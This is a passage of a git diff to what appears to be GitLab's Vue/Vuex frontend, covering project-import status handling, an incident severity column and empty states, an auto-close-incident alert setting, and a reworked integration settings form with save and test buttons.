[types.RECEIVE_REPOS_ERROR](state) {
@@ -50,31 +92,27 @@ export default {
[types.REQUEST_IMPORT](state, { repoId, importTarget }) {
const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
- existingRepo.importStatus = STATUSES.SCHEDULING;
existingRepo.importedProject = {
+ importStatus: STATUSES.SCHEDULING,
fullPath: `/${importTarget.targetNamespace}/${importTarget.newName}`,
};
},
[types.RECEIVE_IMPORT_SUCCESS](state, { importedProject, repoId }) {
- const { importStatus, ...project } = importedProject;
-
const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
- existingRepo.importStatus = importStatus;
- existingRepo.importedProject = project;
+ existingRepo.importedProject = importedProject;
},
[types.RECEIVE_IMPORT_ERROR](state, repoId) {
const existingRepo = state.repositories.find(r => r.importSource.id === repoId);
- existingRepo.importStatus = STATUSES.NONE;
existingRepo.importedProject = null;
},
[types.RECEIVE_JOBS_SUCCESS](state, updatedProjects) {
updatedProjects.forEach(updatedProject => {
const repo = state.repositories.find(p => p.importedProject?.id === updatedProject.id);
- if (repo) {
- repo.importStatus = updatedProject.importStatus;
+ if (repo?.importedProject) {
+ repo.importedProject.importStatus = updatedProject.importStatus;
}
});
},
@@ -105,10 +143,6 @@ export default {
}
},
- [types.SET_PAGE_INFO](state, pageInfo) {
- state.pageInfo = pageInfo;
- },
-
[types.SET_PAGE](state, page) {
state.pageInfo.page = page;
},
diff --git a/app/assets/javascripts/import_projects/store/state.js b/app/assets/javascripts/import_projects/store/state.js
index 3318181e4af..ecd93561d52 100644
--- a/app/assets/javascripts/import_projects/store/state.js
+++ b/app/assets/javascripts/import_projects/store/state.js
@@ -8,6 +8,6 @@ export default () => ({
ciCdOnly: false,
filter: '',
pageInfo: {
- page: 1,
+ page: 0,
},
});
diff --git a/app/assets/javascripts/import_projects/utils.js b/app/assets/javascripts/import_projects/utils.js
index c2a2d5a607d..695b12cbcba 100644
--- a/app/assets/javascripts/import_projects/utils.js
+++ b/app/assets/javascripts/import_projects/utils.js
@@ -1,7 +1,13 @@
import { STATUSES } from './constants';
-// Will be expanded in future
-// eslint-disable-next-line import/prefer-default-export
+export function isIncompatible(project) {
+ return project.importSource.incompatible;
+}
+
+export function getImportStatus(project) {
+ return project.importedProject?.importStatus ?? STATUSES.NONE;
+}
+
export function isProjectImportable(project) {
- return project.importStatus === STATUSES.NONE && !project.importSource.incompatible;
+ return !isIncompatible(project) && getImportStatus(project) === STATUSES.NONE;
}
diff --git a/app/assets/javascripts/incidents/components/incidents_list.vue b/app/assets/javascripts/incidents/components/incidents_list.vue
index 46852e4ddd9..670c42cbdac 100644
--- a/app/assets/javascripts/incidents/components/incidents_list.vue
+++ b/app/assets/javascripts/incidents/components/incidents_list.vue
@@ -23,6 +23,8 @@ import { s__ } from '~/locale';
import { mergeUrlParams, joinPaths, visitUrl } from '~/lib/utils/url_utility';
import getIncidents from '../graphql/queries/get_incidents.query.graphql';
import getIncidentsCountByStatus from '../graphql/queries/get_count_by_status.query.graphql';
+import SeverityToken from '~/sidebar/components/severity/severity.vue';
+import { INCIDENT_SEVERITY } from '~/sidebar/components/severity/constants';
import { I18N, DEFAULT_PAGE_SIZE, INCIDENT_SEARCH_DELAY, INCIDENT_STATUS_TABS } from '../constants';
const TH_TEST_ID = { 'data-testid': 'incident-management-created-at-sort' };
@@ -45,6 +47,12 @@ export default {
statusTabs: INCIDENT_STATUS_TABS,
fields: [
{
+ key: 'severity',
+ label: s__('IncidentManagement|Severity'),
+ thClass: `gl-pointer-events-none`,
+ tdClass,
+ },
+ {
key: 'title',
label: s__('IncidentManagement|Incident'),
thClass: `gl-pointer-events-none gl-w-half`,
@@ -82,6 +90,7 @@ export default {
PublishedCell: () => import('ee_component/incidents/components/published_cell.vue'),
GlBadge,
GlEmptyState,
+ SeverityToken,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -208,6 +217,31 @@ export default {
isEmpty() {
return !this.incidents.list?.length;
},
+ showList() {
+ return !this.isEmpty || this.errored || this.loading;
+ },
+ activeClosedTabHasNoIncidents() {
+ const { all, closed } = this.incidentsCount || {};
+ const isClosedTabActive = this.statusFilter === this.$options.statusTabs[1].filters;
+
+ return isClosedTabActive && all && !closed;
+ },
+ emptyStateData() {
+ const {
+ emptyState: { title, emptyClosedTabTitle, description },
+ createIncidentBtnLabel,
+ } = this.$options.i18n;
+
+ if (this.activeClosedTabHasNoIncidents) {
+ return { title: emptyClosedTabTitle };
+ }
+ return {
+ title,
+ description,
+ btnLink: this.newIncidentPath,
+ btnText: createIncidentBtnLabel,
+ };
+ },
},
methods: {
onInputChange: debounce(function debounceSearch(input) {
@@ -255,6 +289,9 @@ export default {
this.sort = `${sortingColumn}_${sortingDirection}`;
},
+ getSeverity(severity) {
+ return INCIDENT_SEVERITY[severity];
+ },
},
};
</script>
@@ -279,7 +316,7 @@ export default {
</gl-tabs>
<gl-button
- v-if="!isEmpty"
+ v-if="!isEmpty || activeClosedTabHasNoIncidents"
class="gl-my-3 gl-mr-5 create-incident-button"
data-testid="createIncidentBtn"
data-qa-selector="create_incident_button"
@@ -307,6 +344,7 @@ export default {
{{ s__('IncidentManagement|Incidents') }}
</h4>
<gl-table
+ v-if="showList"
:items="incidents.list || []"
:fields="availableFields"
:show-empty="true"
@@ -322,6 +360,10 @@ export default {
@row-clicked="navigateToIncidentDetails"
@sort-changed="fetchSortedData"
>
+ <template #cell(severity)="{ item }">
+ <severity-token :severity="getSeverity(item.severity)" />
+ </template>
+
<template #cell(title)="{ item }">
<div :class="{ 'gl-display-flex gl-align-items-center': item.state === 'closed' }">
<div class="gl-max-w-full text-truncate" :title="item.title">{{ item.title }}</div>
@@ -379,21 +421,20 @@ export default {
<gl-loading-icon size="lg" color="dark" class="mt-3" />
</template>
- <template #empty>
- <gl-empty-state
- v-if="!errored"
- :title="$options.i18n.emptyState.title"
- :svg-path="emptyListSvgPath"
- :description="$options.i18n.emptyState.description"
- :primary-button-link="newIncidentPath"
- :primary-button-text="$options.i18n.createIncidentBtnLabel"
- />
- <span v-else>
- {{ $options.i18n.noIncidents }}
- </span>
+ <template v-if="errored" #empty>
+ {{ $options.i18n.noIncidents }}
</template>
</gl-table>
+ <gl-empty-state
+ v-else
+ :title="emptyStateData.title"
+ :svg-path="emptyListSvgPath"
+ :description="emptyStateData.description"
+ :primary-button-link="emptyStateData.btnLink"
+ :primary-button-text="emptyStateData.btnText"
+ />
+
<gl-pagination
v-if="showPaginationControls"
:value="pagination.currentPage"
diff --git a/app/assets/javascripts/incidents/constants.js b/app/assets/javascripts/incidents/constants.js
index 02d8172533d..289b36d9848 100644
--- a/app/assets/javascripts/incidents/constants.js
+++ b/app/assets/javascripts/incidents/constants.js
@@ -9,6 +9,7 @@ export const I18N = {
searchPlaceholder: __('Search results…'),
emptyState: {
title: s__('IncidentManagement|Display your incidents in a dedicated view'),
+ emptyClosedTabTitle: s__('IncidentManagement|There are no closed incidents'),
description: s__(
'IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below.',
),
@@ -34,4 +35,4 @@ export const INCIDENT_STATUS_TABS = [
];
export const INCIDENT_SEARCH_DELAY = 300;
-export const DEFAULT_PAGE_SIZE = 10;
+export const DEFAULT_PAGE_SIZE = 20;
diff --git a/app/assets/javascripts/incidents/graphql/fragments/incident_fields.fragment.graphql b/app/assets/javascripts/incidents/graphql/fragments/incident_fields.fragment.graphql
new file mode 100644
index 00000000000..eb2dde14464
--- /dev/null
+++ b/app/assets/javascripts/incidents/graphql/fragments/incident_fields.fragment.graphql
@@ -0,0 +1,3 @@
+fragment IncidentFields on Issue {
+ severity
+}
diff --git a/app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql b/app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql
index 0f56e8640bd..dab130835e2 100644
--- a/app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql
+++ b/app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql
@@ -1,3 +1,5 @@
+#import "ee_else_ce/incidents/graphql/fragments/incident_fields.fragment.graphql"
+
query getIncidents(
$projectPath: ID!
$issueTypes: [IssueType!]
@@ -39,7 +41,7 @@ query getIncidents(
webUrl
}
}
- statusPagePublishedIncident
+ ...IncidentFields
}
pageInfo {
hasNextPage
diff --git a/app/assets/javascripts/incidents_settings/components/alerts_form.vue b/app/assets/javascripts/incidents_settings/components/alerts_form.vue
index 5872ac39c96..17a77f650e0 100644
--- a/app/assets/javascripts/incidents_settings/components/alerts_form.vue
+++ b/app/assets/javascripts/incidents_settings/components/alerts_form.vue
@@ -6,8 +6,8 @@ import {
GlIcon,
GlFormGroup,
GlFormCheckbox,
- GlNewDropdown,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownItem,
} from '@gitlab/ui';
import {
I18N_ALERT_SETTINGS_FORM,
@@ -24,8 +24,8 @@ export default {
GlFormGroup,
GlIcon,
GlFormCheckbox,
- GlNewDropdown,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownItem,
},
inject: ['service', 'alertSettings'],
data() {
@@ -34,6 +34,7 @@ export default {
createIssueEnabled: this.alertSettings.createIssue,
issueTemplate: this.alertSettings.issueTemplateKey,
sendEmailEnabled: this.alertSettings.sendEmail,
+ autoCloseIncident: this.alertSettings.autoCloseIncident,
loading: false,
};
},
@@ -49,6 +50,7 @@ export default {
create_issue: this.createIssueEnabled,
issue_template_key: this.issueTemplate,
send_email: this.sendEmailEnabled,
+ auto_close_incident: this.autoCloseIncident,
};
},
},
@@ -99,13 +101,13 @@ export default {
<gl-icon name="question" :size="12" />
</gl-link>
</label>
- <gl-new-dropdown
+ <gl-dropdown
id="alert-integration-settings-issue-template"
data-qa-selector="incident_templates_dropdown"
:text="issueTemplateHeader"
:block="true"
>
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-for="template in templates"
:key="template.key"
data-qa-selector="incident_templates_item"
@@ -114,8 +116,8 @@ export default {
@click="selectIssueTemplate(template.key)"
>
{{ template.name }}
- </gl-new-dropdown-item>
- </gl-new-dropdown>
+ </gl-dropdown-item>
+ </gl-dropdown>
</gl-form-group>
<gl-form-group class="gl-pl-0 gl-mb-5">
@@ -123,6 +125,11 @@ export default {
<span>{{ $options.i18n.sendEmail.label }}</span>
</gl-form-checkbox>
</gl-form-group>
+ <gl-form-group class="gl-pl-0 gl-mb-5">
+ <gl-form-checkbox v-model="autoCloseIncident">
+ <span>{{ $options.i18n.autoCloseIncidents.label }}</span>
+ </gl-form-checkbox>
+ </gl-form-group>
<div class="gl-display-flex gl-justify-content-end">
<gl-button
ref="submitBtn"
diff --git a/app/assets/javascripts/incidents_settings/constants.js b/app/assets/javascripts/incidents_settings/constants.js
index 77f7ee2c4a3..42f1f645d16 100644
--- a/app/assets/javascripts/incidents_settings/constants.js
+++ b/app/assets/javascripts/incidents_settings/constants.js
@@ -42,6 +42,9 @@ export const I18N_ALERT_SETTINGS_FORM = {
sendEmail: {
label: __('Send a separate email notification to Developers.'),
},
+ autoCloseIncidents: {
+ label: __('Automatically close incident issues when the associated Prometheus alert resolves.'),
+ },
};
export const NO_ISSUE_TEMPLATE_SELECTED = { key: '', name: __('No template selected') };
diff --git a/app/assets/javascripts/incidents_settings/index.js b/app/assets/javascripts/incidents_settings/index.js
index 80e7d07feca..ad875d49768 100644
--- a/app/assets/javascripts/incidents_settings/index.js
+++ b/app/assets/javascripts/incidents_settings/index.js
@@ -20,6 +20,7 @@ export default () => {
pagerdutyActive,
pagerdutyWebhookUrl,
pagerdutyResetKeyPath,
+ autoCloseIncident,
},
} = el;
@@ -33,6 +34,7 @@ export default () => {
createIssue: parseBoolean(createIssue),
issueTemplateKey,
sendEmail: parseBoolean(sendEmail),
+ autoCloseIncident: parseBoolean(autoCloseIncident),
},
pagerDutySettings: {
active: parseBoolean(pagerdutyActive),
diff --git a/app/assets/javascripts/init_changes_dropdown.js b/app/assets/javascripts/init_changes_dropdown.js
index e708e5d0978..c0dc6ce07b1 100644
--- a/app/assets/javascripts/init_changes_dropdown.js
+++ b/app/assets/javascripts/init_changes_dropdown.js
@@ -1,10 +1,11 @@
import $ from 'jquery';
import { stickyMonitor } from './lib/utils/sticky';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default stickyTop => {
stickyMonitor(document.querySelector('.js-diff-files-changed'), stickyTop);
- $('.js-diff-stats-dropdown').glDropdown({
+ initDeprecatedJQueryDropdown($('.js-diff-stats-dropdown'), {
filterable: true,
remoteFilter: false,
});
diff --git a/app/assets/javascripts/init_issuable_sidebar.js b/app/assets/javascripts/init_issuable_sidebar.js
index e61b37a2d1f..528d5d8072f 100644
--- a/app/assets/javascripts/init_issuable_sidebar.js
+++ b/app/assets/javascripts/init_issuable_sidebar.js
@@ -4,8 +4,8 @@ import MilestoneSelect from './milestone_select';
import LabelsSelect from './labels_select';
import IssuableContext from './issuable_context';
import Sidebar from './right_sidebar';
-
import DueDateSelectors from './due_date_select';
+import { mountSidebarLabels } from '~/sidebar/mount_sidebar';
export default () => {
const sidebarOptions = JSON.parse(document.querySelector('.js-sidebar-options').innerHTML);
@@ -17,4 +17,6 @@ export default () => {
new IssuableContext(sidebarOptions.currentUser);
new DueDateSelectors();
Sidebar.initialize();
+
+ mountSidebarLabels();
};
diff --git a/app/assets/javascripts/integrations/edit/components/active_checkbox.vue b/app/assets/javascripts/integrations/edit/components/active_checkbox.vue
new file mode 100644
index 00000000000..6698984d02f
--- /dev/null
+++ b/app/assets/javascripts/integrations/edit/components/active_checkbox.vue
@@ -0,0 +1,48 @@
+<script>
+import { mapGetters } from 'vuex';
+import { GlFormGroup, GlFormCheckbox } from '@gitlab/ui';
+import eventHub from '../event_hub';
+
+export default {
+ name: 'ActiveCheckbox',
+ components: {
+ GlFormGroup,
+ GlFormCheckbox,
+ },
+ data() {
+ return {
+ activated: false,
+ };
+ },
+ computed: {
+ ...mapGetters(['isInheriting', 'propsSource']),
+ },
+ mounted() {
+ this.activated = this.propsSource.initialActivated;
+ // Initialize view
+ this.$nextTick(() => {
+ this.onChange(this.activated);
+ });
+ },
+ methods: {
+ onChange(e) {
+ eventHub.$emit('toggle', e);
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-form-group :label="__('Enable integration')" label-for="service[active]">
+ <input name="service[active]" type="hidden" :value="activated || false" />
+ <gl-form-checkbox
+ v-model="activated"
+ name="service[active]"
+ class="gl-display-block gl-line-height-0"
+ :disabled="isInheriting"
+ @change="onChange"
+ >
+ {{ __('Active') }}
+ </gl-form-checkbox>
+ </gl-form-group>
+</template>
diff --git a/app/assets/javascripts/integrations/edit/components/active_toggle.vue b/app/assets/javascripts/integrations/edit/components/active_toggle.vue
deleted file mode 100644
index e6a96600539..00000000000
--- a/app/assets/javascripts/integrations/edit/components/active_toggle.vue
+++ /dev/null
@@ -1,50 +0,0 @@
-<script>
-import { mapGetters } from 'vuex';
-import { GlFormGroup, GlToggle } from '@gitlab/ui';
-import eventHub from '../event_hub';
-
-export default {
- name: 'ActiveToggle',
- components: {
- GlFormGroup,
- GlToggle,
- },
- props: {
- initialActivated: {
- type: Boolean,
- required: true,
- },
- },
- data() {
- return {
- activated: this.initialActivated,
- };
- },
- computed: {
- ...mapGetters(['isInheriting']),
- },
- mounted() {
- // Initialize view
- this.$nextTick(() => {
- this.onToggle(this.activated);
- });
- },
- methods: {
- onToggle(e) {
- eventHub.$emit('toggle', e);
- },
- },
-};
-</script>
-
-<template>
- <gl-form-group :label="__('Enable integration')" label-for="service[active]">
- <gl-toggle
- v-model="activated"
- name="service[active]"
- class="gl-display-block gl-line-height-0"
- :disabled="isInheriting"
- @change="onToggle"
- />
- </gl-form-group>
-</template>
diff --git a/app/assets/javascripts/integrations/edit/components/dynamic_field.vue b/app/assets/javascripts/integrations/edit/components/dynamic_field.vue
index 090381b8da4..9dde1ed1055 100644
--- a/app/assets/javascripts/integrations/edit/components/dynamic_field.vue
+++ b/app/assets/javascripts/integrations/edit/components/dynamic_field.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapGetters } from 'vuex';
import { capitalize, lowerCase, isEmpty } from 'lodash';
import { GlFormGroup, GlFormCheckbox, GlFormInput, GlFormSelect, GlFormTextarea } from '@gitlab/ui';
diff --git a/app/assets/javascripts/integrations/edit/components/integration_form.vue b/app/assets/javascripts/integrations/edit/components/integration_form.vue
index 5088664c3bd..0460ed6791e 100644
--- a/app/assets/javascripts/integrations/edit/components/integration_form.vue
+++ b/app/assets/javascripts/integrations/edit/components/integration_form.vue
@@ -1,9 +1,11 @@
<script>
import { mapState, mapActions, mapGetters } from 'vuex';
+import { GlButton } from '@gitlab/ui';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import eventHub from '../event_hub';
import OverrideDropdown from './override_dropdown.vue';
-import ActiveToggle from './active_toggle.vue';
+import ActiveCheckbox from './active_checkbox.vue';
import JiraTriggerFields from './jira_trigger_fields.vue';
import JiraIssuesFields from './jira_issues_fields.vue';
import TriggerFields from './trigger_fields.vue';
@@ -13,16 +15,20 @@ export default {
name: 'IntegrationForm',
components: {
OverrideDropdown,
- ActiveToggle,
+ ActiveCheckbox,
JiraTriggerFields,
JiraIssuesFields,
TriggerFields,
DynamicField,
+ GlButton,
},
mixins: [glFeatureFlagsMixin()],
computed: {
- ...mapGetters(['currentKey', 'propsSource']),
- ...mapState(['adminState', 'override']),
+ ...mapGetters(['currentKey', 'propsSource', 'isSavingOrTesting']),
+ ...mapState(['defaultState', 'override', 'isSaving', 'isTesting']),
+ isEditable() {
+ return this.propsSource.editable;
+ },
isJira() {
return this.propsSource.type === 'jira';
},
@@ -31,7 +37,15 @@ export default {
},
},
methods: {
- ...mapActions(['setOverride']),
+ ...mapActions(['setOverride', 'setIsSaving', 'setIsTesting']),
+ onSaveClick() {
+ this.setIsSaving(true);
+ eventHub.$emit('saveIntegration');
+ },
+ onTestClick() {
+ this.setIsTesting(true);
+ eventHub.$emit('testIntegration');
+ },
},
};
</script>
@@ -39,16 +53,13 @@ export default {
<template>
<div>
<override-dropdown
- v-if="adminState !== null"
- :inherit-from-id="adminState.id"
+ v-if="defaultState !== null"
+ :inherit-from-id="defaultState.id"
:override="override"
+ :learn-more-path="propsSource.learnMorePath"
@change="setOverride"
/>
- <active-toggle
- v-if="propsSource.showActive"
- :key="`${currentKey}-active-toggle`"
- v-bind="propsSource.activeToggleProps"
- />
+ <active-checkbox v-if="propsSource.showActive" :key="`${currentKey}-active-checkbox`" />
<jira-trigger-fields
v-if="isJira"
:key="`${currentKey}-jira-trigger-fields`"
@@ -70,5 +81,29 @@ export default {
:key="`${currentKey}-jira-issues-fields`"
v-bind="propsSource.jiraIssuesProps"
/>
+ <div v-if="isEditable" class="footer-block row-content-block">
+ <gl-button
+ category="primary"
+ variant="success"
+ type="submit"
+ :loading="isSaving"
+ :disabled="isSavingOrTesting"
+ data-qa-selector="save_changes_button"
+ @click.prevent="onSaveClick"
+ >
+ {{ __('Save changes') }}
+ </gl-button>
+ <gl-button
+ v-if="propsSource.canTest"
+ :loading="isTesting"
+ :disabled="isSavingOrTesting"
+ :href="propsSource.testPath"
+ @click.prevent="onTestClick"
+ >
+ {{ __('Test settings') }}
+ </gl-button>
+
+ <gl-button class="btn-cancel" :href="propsSource.cancelPath">{{ __('Cancel') }}</gl-button>
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
index 5a1f86718b0..1baa2b440b0 100644
--- a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
+++ b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
@@ -37,6 +37,11 @@ export default {
required: false,
default: null,
},
+ gitlabIssuesEnabled: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
upgradePlanPath: {
type: String,
required: false,
@@ -133,7 +138,7 @@ export default {
:disabled="!enableJiraIssues"
/>
</gl-form-group>
- <p>
+ <p v-if="gitlabIssuesEnabled">
<gl-sprintf
:message="
s__(
diff --git a/app/assets/javascripts/integrations/edit/components/override_dropdown.vue b/app/assets/javascripts/integrations/edit/components/override_dropdown.vue
index accfc26974c..c31dada8d2f 100644
--- a/app/assets/javascripts/integrations/edit/components/override_dropdown.vue
+++ b/app/assets/javascripts/integrations/edit/components/override_dropdown.vue
@@ -1,6 +1,8 @@
<script>
-import { GlNewDropdown, GlNewDropdownItem } from '@gitlab/ui';
+import { mapState } from 'vuex';
+import { GlDropdown, GlDropdownItem, GlLink } from '@gitlab/ui';
import { s__ } from '~/locale';
+import { defaultIntegrationLevel, overrideDropdownDescriptions } from '../constants';
const dropdownOptions = [
{
@@ -17,14 +19,20 @@ export default {
dropdownOptions,
name: 'OverrideDropdown',
components: {
- GlNewDropdown,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownItem,
+ GlLink,
},
props: {
inheritFromId: {
type: Number,
required: true,
},
+ learnMorePath: {
+ type: String,
+ required: false,
+ default: null,
+ },
override: {
type: Boolean,
required: true,
@@ -35,6 +43,16 @@ export default {
selected: dropdownOptions.find(x => x.value === this.override),
};
},
+ computed: {
+ ...mapState(['defaultState']),
+ description() {
+ const level = this.defaultState.integrationLevel;
+
+ return (
+ overrideDropdownDescriptions[level] || overrideDropdownDescriptions[defaultIntegrationLevel]
+ );
+ },
+ },
methods: {
onClick(option) {
this.selected = option;
@@ -48,16 +66,21 @@ export default {
<div
class="gl-display-flex gl-justify-content-space-between gl-align-items-baseline gl-py-4 gl-mt-5 gl-mb-6 gl-border-t-1 gl-border-t-solid gl-border-b-1 gl-border-b-solid gl-border-gray-100"
>
- <span>{{ s__('Integrations|Default settings are inherited from the instance level.') }}</span>
+ <span
+ >{{ description }}
+ <gl-link v-if="learnMorePath" :href="learnMorePath" target="_blank">{{
+ __('Learn more')
+ }}</gl-link>
+ </span>
<input name="service[inherit_from_id]" :value="override ? '' : inheritFromId" type="hidden" />
- <gl-new-dropdown :text="selected.text">
- <gl-new-dropdown-item
+ <gl-dropdown :text="selected.text">
+ <gl-dropdown-item
v-for="option in $options.dropdownOptions"
:key="option.value"
@click="onClick(option)"
>
{{ option.text }}
- </gl-new-dropdown-item>
- </gl-new-dropdown>
+ </gl-dropdown-item>
+ </gl-dropdown>
</div>
</template>
diff --git a/app/assets/javascripts/integrations/edit/constants.js b/app/assets/javascripts/integrations/edit/constants.js
new file mode 100644
index 00000000000..b74ae209eb7
--- /dev/null
+++ b/app/assets/javascripts/integrations/edit/constants.js
@@ -0,0 +1,17 @@
+import { s__ } from '~/locale';
+
+export const integrationLevels = {
+ GROUP: 'group',
+ INSTANCE: 'instance',
+};
+
+export const defaultIntegrationLevel = integrationLevels.INSTANCE;
+
+export const overrideDropdownDescriptions = {
+ [integrationLevels.GROUP]: s__(
+ 'Integrations|Default settings are inherited from the group level.',
+ ),
+ [integrationLevels.INSTANCE]: s__(
+ 'Integrations|Default settings are inherited from the instance level.',
+ ),
+};
diff --git a/app/assets/javascripts/integrations/edit/index.js b/app/assets/javascripts/integrations/edit/index.js
index ea5463832ce..248ee62d43a 100644
--- a/app/assets/javascripts/integrations/edit/index.js
+++ b/app/assets/javascripts/integrations/edit/index.js
@@ -19,27 +19,36 @@ function parseDatasetToProps(data) {
projectKey,
upgradePlanPath,
editProjectPath,
+ learnMorePath,
triggerEvents,
fields,
inheritFromId,
+ integrationLevel,
+ cancelPath,
+ testPath,
...booleanAttributes
} = data;
const {
showActive,
activated,
+ editable,
+ canTest,
commitEvents,
mergeRequestEvents,
enableComments,
showJiraIssuesIntegration,
enableJiraIssues,
+ gitlabIssuesEnabled,
} = parseBooleanInData(booleanAttributes);
return {
- activeToggleProps: {
- initialActivated: activated,
- },
+ initialActivated: activated,
showActive,
type,
+ cancelPath,
+ editable,
+ canTest,
+ testPath,
triggerFieldsProps: {
initialTriggerCommit: commitEvents,
initialTriggerMergeRequest: mergeRequestEvents,
@@ -50,17 +59,20 @@ function parseDatasetToProps(data) {
showJiraIssuesIntegration,
initialEnableJiraIssues: enableJiraIssues,
initialProjectKey: projectKey,
+ gitlabIssuesEnabled,
upgradePlanPath,
editProjectPath,
},
+ learnMorePath,
triggerEvents: JSON.parse(triggerEvents),
fields: JSON.parse(fields),
inheritFromId: parseInt(inheritFromId, 10),
+ integrationLevel,
id: parseInt(id, 10),
};
}
-export default (el, adminEl) => {
+export default (el, defaultEl) => {
if (!el) {
return null;
}
@@ -68,12 +80,12 @@ export default (el, adminEl) => {
const props = parseDatasetToProps(el.dataset);
const initialState = {
- adminState: null,
+ defaultState: null,
customState: props,
};
- if (adminEl) {
- initialState.adminState = Object.freeze(parseDatasetToProps(adminEl.dataset));
+ if (defaultEl) {
+ initialState.defaultState = Object.freeze(parseDatasetToProps(defaultEl.dataset));
}
return new Vue({
diff --git a/app/assets/javascripts/integrations/edit/store/actions.js b/app/assets/javascripts/integrations/edit/store/actions.js
index 3decdaab55d..199c9074ead 100644
--- a/app/assets/javascripts/integrations/edit/store/actions.js
+++ b/app/assets/javascripts/integrations/edit/store/actions.js
@@ -1,4 +1,5 @@
import * as types from './mutation_types';
-// eslint-disable-next-line import/prefer-default-export
export const setOverride = ({ commit }, override) => commit(types.SET_OVERRIDE, override);
+export const setIsSaving = ({ commit }, isSaving) => commit(types.SET_IS_SAVING, isSaving);
+export const setIsTesting = ({ commit }, isTesting) => commit(types.SET_IS_TESTING, isTesting);
diff --git a/app/assets/javascripts/integrations/edit/store/getters.js b/app/assets/javascripts/integrations/edit/store/getters.js
index b68bd668980..4ee5f11855c 100644
--- a/app/assets/javascripts/integrations/edit/store/getters.js
+++ b/app/assets/javascripts/integrations/edit/store/getters.js
@@ -1,6 +1,8 @@
-export const isInheriting = state => (state.adminState === null ? false : !state.override);
+export const isInheriting = state => (state.defaultState === null ? false : !state.override);
+
+export const isSavingOrTesting = state => state.isSaving || state.isTesting;
export const propsSource = (state, getters) =>
- getters.isInheriting ? state.adminState : state.customState;
+ getters.isInheriting ? state.defaultState : state.customState;
export const currentKey = (state, getters) => (getters.isInheriting ? 'admin' : 'custom');
diff --git a/app/assets/javascripts/integrations/edit/store/index.js b/app/assets/javascripts/integrations/edit/store/index.js
index eea5e48780d..a8375f345c6 100644
--- a/app/assets/javascripts/integrations/edit/store/index.js
+++ b/app/assets/javascripts/integrations/edit/store/index.js
@@ -7,7 +7,6 @@ import createState from './state';
Vue.use(Vuex);
-// eslint-disable-next-line import/prefer-default-export
export const createStore = (initialState = {}) =>
new Vuex.Store({
actions,
diff --git a/app/assets/javascripts/integrations/edit/store/mutation_types.js b/app/assets/javascripts/integrations/edit/store/mutation_types.js
index 274afe3fb49..0dae8ea079e 100644
--- a/app/assets/javascripts/integrations/edit/store/mutation_types.js
+++ b/app/assets/javascripts/integrations/edit/store/mutation_types.js
@@ -1,2 +1,3 @@
-// eslint-disable-next-line import/prefer-default-export
export const SET_OVERRIDE = 'SET_OVERRIDE';
+export const SET_IS_SAVING = 'SET_IS_SAVING';
+export const SET_IS_TESTING = 'SET_IS_TESTING';
diff --git a/app/assets/javascripts/integrations/edit/store/mutations.js b/app/assets/javascripts/integrations/edit/store/mutations.js
index 8757d415197..8ac3c476f9e 100644
--- a/app/assets/javascripts/integrations/edit/store/mutations.js
+++ b/app/assets/javascripts/integrations/edit/store/mutations.js
@@ -4,4 +4,10 @@ export default {
[types.SET_OVERRIDE](state, override) {
state.override = override;
},
+ [types.SET_IS_SAVING](state, isSaving) {
+ state.isSaving = isSaving;
+ },
+ [types.SET_IS_TESTING](state, isTesting) {
+ state.isTesting = isTesting;
+ },
};
diff --git a/app/assets/javascripts/integrations/edit/store/state.js b/app/assets/javascripts/integrations/edit/store/state.js
index 95c1a2be500..a9ecee6c539 100644
--- a/app/assets/javascripts/integrations/edit/store/state.js
+++ b/app/assets/javascripts/integrations/edit/store/state.js
@@ -1,9 +1,11 @@
-export default ({ adminState = null, customState = {} } = {}) => {
- const override = adminState !== null ? adminState.id !== customState.inheritFromId : false;
+export default ({ defaultState = null, customState = {} } = {}) => {
+ const override = defaultState !== null ? defaultState.id !== customState.inheritFromId : false;
return {
override,
- adminState,
+ defaultState,
customState,
+ isSaving: false,
+ isTesting: false,
};
};
diff --git a/app/assets/javascripts/integrations/integration_settings_form.js b/app/assets/javascripts/integrations/integration_settings_form.js
index 1135065b06c..1d0814125e6 100644
--- a/app/assets/javascripts/integrations/integration_settings_form.js
+++ b/app/assets/javascripts/integrations/integration_settings_form.js
@@ -1,7 +1,7 @@
import $ from 'jquery';
import axios from '../lib/utils/axios_utils';
-import { deprecatedCreateFlash as flash } from '../flash';
-import { __ } from '~/locale';
+import { __, s__ } from '~/locale';
+import toast from '~/vue_shared/plugins/global_toast';
import initForm from './edit';
import eventHub from './edit/event_hub';
@@ -10,65 +10,63 @@ export default class IntegrationSettingsForm {
this.$form = $(formSelector);
this.formActive = false;
+ this.vue = null;
+
// Form Metadata
- this.canTestService = this.$form.data('canTest');
this.testEndPoint = this.$form.data('testUrl');
-
- // Form Child Elements
- this.$submitBtn = this.$form.find('button[type="submit"]');
- this.$submitBtnLoader = this.$submitBtn.find('.js-btn-spinner');
- this.$submitBtnLabel = this.$submitBtn.find('.js-btn-label');
}
init() {
// Init Vue component
- initForm(
+ this.vue = initForm(
document.querySelector('.js-vue-integration-settings'),
- document.querySelector('.js-vue-admin-integration-settings'),
+ document.querySelector('.js-vue-default-integration-settings'),
);
eventHub.$on('toggle', active => {
this.formActive = active;
- this.handleServiceToggle();
+ this.toggleServiceState();
+ });
+ eventHub.$on('testIntegration', () => {
+ this.testIntegration();
+ });
